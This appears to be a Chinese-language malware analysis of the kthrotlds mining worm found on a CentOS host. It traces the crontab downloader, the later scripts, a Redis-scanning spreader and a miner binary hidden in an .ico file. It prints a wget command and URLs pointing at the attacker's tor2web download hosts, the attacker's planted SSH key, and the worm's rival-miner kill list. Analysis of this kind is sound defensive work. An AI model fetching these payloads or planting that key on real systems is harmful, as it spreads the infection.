最近遇到的一次后门事件,通过分析发现是一起挖矿蠕虫。通过查询CentOS计划任务crontab,发现以下计划任务。
已手工重新格式化如下:
Linux平台日常查询计划任务时,发现了如上一大串的命令,非常可疑。经关键字搜索,发现可以判断为最近的kthroltlds挖矿病毒。
链接如下:
What is Linux process "kthrotlds" and how do I kill or reduce its CPU impact? : linuxquestions
https://www.reddit.com/r/linuxquestions/comments/bpe9am/what_is_linux_process_kthrotlds_and_how_do_i_kill/
初步看这段shell脚本,发现最后出现的wget请求了一些公网地址,最后还修改了文件权限,之后启动了这个脚本,非常明显的恶意行为。
搜索了下这些域名中的Tor2web,发现这是一个软件项目,允许从标准浏览器访问Tor隐藏服务,而无需连接到Tor网络。
这里可以发现这些站点为攻击者转发到相应的Tor onion站点,通过中间人转发代理,可以使用标准浏览器进行访问,作用是隐藏攻击者的信息。
该脚本这里的作用为下载器,下载后续的恶意代码并执行。
接着看,最后wget下载了一个shell脚本,下载下来后,VT检测如下:
VT检测结果:
https://www.virustotal.com/gui/file/7e77257f92a0e912b37b7c5556bfb448a6aa6d6d951f498ad58db57db2ae6a16/detection
样本很新,发生在最近1个月内。
ldm脚本
MD5:529aa9ae456963bf203300fbd5b4e4f5
SHA-1:a2ca3481cd295bc2664587ac6a7804b5123dc3c1
SHA-256:7e77257f92a0e912b37b7c5556bfb448a6aa6d6d951f498ad58db57db2ae6a16
该样本第一次提交时间为2019-07-03 21:02:26 UTC
下面对该ldm脚本进行分析
在指定的目录下生成一些随机文件名的文件,出现两个计划任务配置,与之前的下载器的配置类似,方便后续对下载的脚本更新。
也是就是下载器下载完成后,就会执行之前随机文件名的脚本,接着使用ps aux命令查找是否有其他的挖矿进程与行为
"kworkerds\|56416\|xmr\|xig\|ddgs\|minerd\|hashvault\|geqn\|.kthreadd\|httpdz\|kworker\|config.json\|gwjyhs.com\|pastebin.com\|sobot.com\|kerbero
如果存在就杀死这些进程,接着通过访问ipinfo.io/ip得到当前机器的IP地址,将系统已经存在的任务计划目录,进行删除。
相关的路径如下:
crontab计划任务配置完成后,接着就开始对受害机器进行ssh配置,配置ssh免密登陆,具体配置可以查截图里具体命令。
skey="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1Sdr0tIIL8yPhKTLzVMnRKj1zzGqtR4tKpM2bfBEx+AHyvBL8jDZDJ6fuVwEB+aZ8bl/pA5qhFWRRWhONLnLN9RWFx/880msXITwOXjCT3Qa6VpAFPPMazJpbppIg+LTkbOEjdDHvdZ8RhEt7tTXc2DoTDcs73EeepZbJmDFP8TCY7hwgLi0XcG8YHkDFoKFUhvSHPkzAsQd9hyOWaI1taLX2VZHAk8rOaYqaRG3URWH3hZvk8Hcgggm2q/IQQa9VLlX4cSM4SifM/ZNbLYAJhH1x3ZgscliZVmjB55wZWRL5oOZztOKJT2oczUuhDHM1qoUJjnxopqtZ5DrA76WH user@localhost"
最后会去访问并下载下一个恶意脚本名字为main,该地址 https://an7kmd2wp4xo7hpr.d2web.org/src/main 可下载到main脚本
main脚本分析
原始main文件样本
MD5:72c2ac79465ac780dc61e5dbea4caa00
SHA-1:7090a84dbbefbc65ef3026856e826301d9aa4992
SHA-256:6aef5bb7a15db0982fdf39147a514c4a75d4eb6587ea476f34c647e2bedc5230
https://www.virustotal.com/gui/file/6aef5bb7a15db0982fdf39147a514c4a75d4eb6587ea476f34c647e2bedc5230/detection
main脚本base64解码后的样本
MD5:d1eaec979e57c6b4cb19e58383284256
SHA-1:f67476fdb38aeb0d512757b837216994b7705bae
SHA-256:7112ae92d7b03f0a280616d076b692889b0b05a0a75559623df6acdf07255700
https://www.virustotal.com/gui/file/7112ae92d7b03f0a280616d076b692889b0b05a0a75559623df6acdf07255700/detection
解码后的脚本如下:
访问如下链接,下载对应的数据解码后执行。
https://an7kmd2wp4xo7hpr.tor2web.su/src/sc
得到下载的Python脚本sc
发现是执行端口扫描功能,再具体看看内部实现的功能。
这里可以看出,除了内网IP地址外,其余IP都会进行端口6379扫描,看看是否存在redis未授权访问,这里的话表示这个脚本存在蠕虫功能,同时redis存在未授权就设置相关的计划任务,进一步扩散。
同样的,main脚本里发现又下载了ioc文件(图标文件),目前不知道具体作用,先放一边,接下来这里是判断系统位数来下载对应的文件。
列举一个下载图标文件的地址:
wget https://an7kmd2wp4xo7hpr.tor2web.su/images/ico/r64x75.ico --no-check-certificate
https://an7kmd2wp4xo7hpr.tor2web.su/images/ico/r64x75.ico
通过第一行命令选择不同的前缀是a或r,具体取决于脚本检测到的操作系统版本。64x75代表系统是64位,反之32x75就是32位。
现在对下载到本地的ico文件进行分析,file命令识别为图标文件。
桌面环境能显示为一个github图标logo
找隐藏文件这里的话靠经验,因为下载的文件不可能是一个正常的图标文件,不然下载了无任何作用,所以得寻找下是否存在常用的文件头标志,这里的话在偏移0xFBC处存在zip文件头,所以这里隐藏了一个zip压缩文件。
对其解压,需要输入密码。
main脚本里可以找到解压密码:no-password,解压成功。
解压后的文件为ELF格式文件
使用strings命令获取字符串,发现了UPX痕迹。
使用工具对其脱壳如下:https://github.com/upx/upx/releases/download/v3.95/upx-3.95-amd64_linux.tar.xz
获取的ELF文件,上传VT检测。
r64x75_unpacked
MD5:707af0460ce6fa6406eb4068310cdd27
SHA-1:f06f6782a51d62dd889edfba26b68adc3fd6a70c
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课